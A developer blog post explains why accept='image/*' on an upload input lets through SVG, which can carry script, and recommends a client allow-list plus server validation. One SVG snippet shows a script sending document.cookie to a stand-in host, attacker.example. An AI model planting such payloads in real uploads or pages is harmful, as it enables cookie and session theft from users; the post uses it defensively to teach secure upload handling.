image/* includes the one image kind we can't draw
The picker offered image/*, which includes SVG, which neither the card nor the viewer could render. It uploaded cleanly and became a file nobody could open.
By Meet Modiaccept="image/*" on a file input includes SVG, which is an XML document that can carry script, not a raster image. It is also a hint rather than a rule: drag and drop ignores accept entirely, and a user can switch the dialog filter to All Files. The real validation has to be an allow-list in code, with an extension fallback for the files browsers hand over with no type at all.
How it showed up
Not as a security report. As a support ticket: a student uploaded a file, it uploaded successfully, and then the card showed a broken image and the viewer opened blank. The upload had worked perfectly and produced a document nobody could ever read, including the person who uploaded it.
It was an SVG. The picker said image/*, the browser agreed SVG is an image, and every layer after that disagreed.
Why SVG is not like the others
PNG, JPEG and WebP are raster formats: a decoder reads bytes and produces pixels. SVG is XML that a browser parses and executes, and it can contain script elements and event handlers.
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch("https://attacker.example/" + document.cookie)</script>
</svg>Served from your origin and opened directly, or embedded with an object or iframe, that script runs with your origin's privileges. Inside an img tag it does not, which is what makes this easy to get wrong: the safe case is the common case, and the unsafe case is one "open in new tab" away.
accept is a hint, not a gate
Three ways a file arrives that never consults the accept attribute:
- Drag and drop onto a drop zone. The attribute belongs to the input, and no input was involved.
- The user switches the file dialog's filter to All Files, which every OS offers.
- A paste from the clipboard.
So accept is worth setting, because it makes the common path pleasant, and it is worth nothing as a control.
const ALLOWED = new Set([
"application/pdf", "image/png", "image/jpeg", "image/webp",
]);
// Several browsers hand over .heic with an empty type, so the
// extension is the fallback, never the primary check.
const ALLOWED_EXT = new Set(["pdf", "png", "jpg", "jpeg", "webp"]);
export function isUploadableFile(file: File): boolean {
if (file.type) return ALLOWED.has(file.type);
const ext = file.name.split(".").pop()?.toLowerCase() ?? "";
return ALLOWED_EXT.has(ext);
}An allow-list, not a deny-list. A deny-list of SVG plus whatever else you thought of is wrong the next time a format exists.
And none of this is a server-side control either. The client check is for the user's benefit, so they find out in the picker rather than after a 20MB upload. The server has to validate independently, because the client is not a trustworthy narrator of what it just sent.
Refuse at the picker, not at the summary
The accepted list ended up narrower than what the viewer can draw, and that was deliberate. The feature generates an AI summary from each upload, and the engine behind it reads a specific set of formats. A file the tab can display but the engine cannot read becomes a document with no summary and none of the features attached to one.
So HEIC, HEIF and GIF are refused in the picker, where the message is "we take PDF, PNG, JPEG and WebP", rather than accepted and then discovered to be half-functional later. The constraint belongs at the narrowest consumer, not the widest.
Every path through the tile has to end on artwork
The preview had two real failure modes, a signed thumbnail URL that had expired and a file the browser would not decode, and both ended on the browser's torn-page icon. Only the PDF path had a mark of its own.
A card is how a document is recognised in a grid of forty. An image that fails to load now falls back to its own mark, so there is no state in which a card renders as browser chrome.
Related, on the same upload flow: wrapping the raw bytes in a resumable upload so the progress bar reports real percentages, and discovering that the existing helper resolved its promise on the first 308 response, which would have recorded the file after 256KB of a 20MB upload. Same lesson as idempotent isn't the same as honest: a success signal that fires early is worse than no signal.
An accept attribute is a filter, not a rule, in the same way an overlay div is not a lock. Both are the browser being helpful, and neither survives someone who would rather it was not.
More Posts
Two services, one topic, either deploy order
A shared topic is only safe if the old consumer ignores what the new producer adds. One field with a default, and either side can roll back alone.
Scale on what's queued and you'll remove the pod mid-job
An autoscaler counting queued work drops to zero the moment pods claim it, so it scales into running jobs and each removal hands the work back to start over.
The model was starting and the first job didn't know
A state flag set inside the background thread instead of before launching it, so the caller that asked for the model read 'stopped' and took the slow path.